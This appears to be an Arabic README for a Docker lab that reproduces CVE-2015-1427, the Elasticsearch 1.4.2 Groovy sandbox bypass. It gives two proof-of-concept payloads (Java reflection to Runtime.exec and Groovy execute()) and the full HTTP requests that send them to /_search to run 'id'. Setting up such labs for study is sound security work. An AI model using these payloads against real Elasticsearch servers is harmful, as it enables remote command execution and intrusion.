
بيئة مختبرية قائمة على Docker لـ CVE-2015-1427 ElasticSearch لتجاوز صندوق الحماية Groovy وتنفيذ الأكواد عن بعد، مع عرض طريقتين للإثبات باستخدام انعكاس Java وتنفيذ أوامر Groovy.
إصدار jre: openjdk:8-jre
إصدار elasticsearch: v1.4.2
المقالات المرجعية:
بعد CVE-2014-3120، تم تغيير لغة البرمجة النصية الديناميكية الافتراضية لـ ElasticSearch إلى Groovy، وتمت إضافة صندوق رملي، لكنه لا يزال يدعم تنفيذ اللغة الديناميكية مباشرة بشكل افتراضي. هذه الثغرة: 1. هي تجاوز للصندوق الرملي؛ 2. هي ثغرة تنفيذ كود Groovy.
يدعم ElasticSearch استخدام لغة Groovy "في الصندوق الرملي" كنصوص ديناميكية، لكن من الواضح أن العمل الرسمي لم يكن جيدًا. اقترح lupin و tang3 طريقتين لتنفيذ الأوامر:
لذا، بناءً على فكرتي الثغرة هاتين، يمكننا الحصول على اثنين من POC مختلفين.
طريقة تجاوز الصندوق الرملي لـ Java:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
طريقة تنفيذ الأوامر مباشرة بـ Groovy:
def command='id';def res=command.execute().text;res
بناء وتشغيل بيئة الاختبار
docker-compose build
docker-compose up -d
نظرًا لأن الاستعلام يتطلب وجود بيانات واحدة على الأقل في es، لذا أرسل حزمة البيانات التالية لإضافة بيانات:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
ثم أرسل حزمة بيانات تحتوي على الحمولة (payload) لتنفيذ أي أمر:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
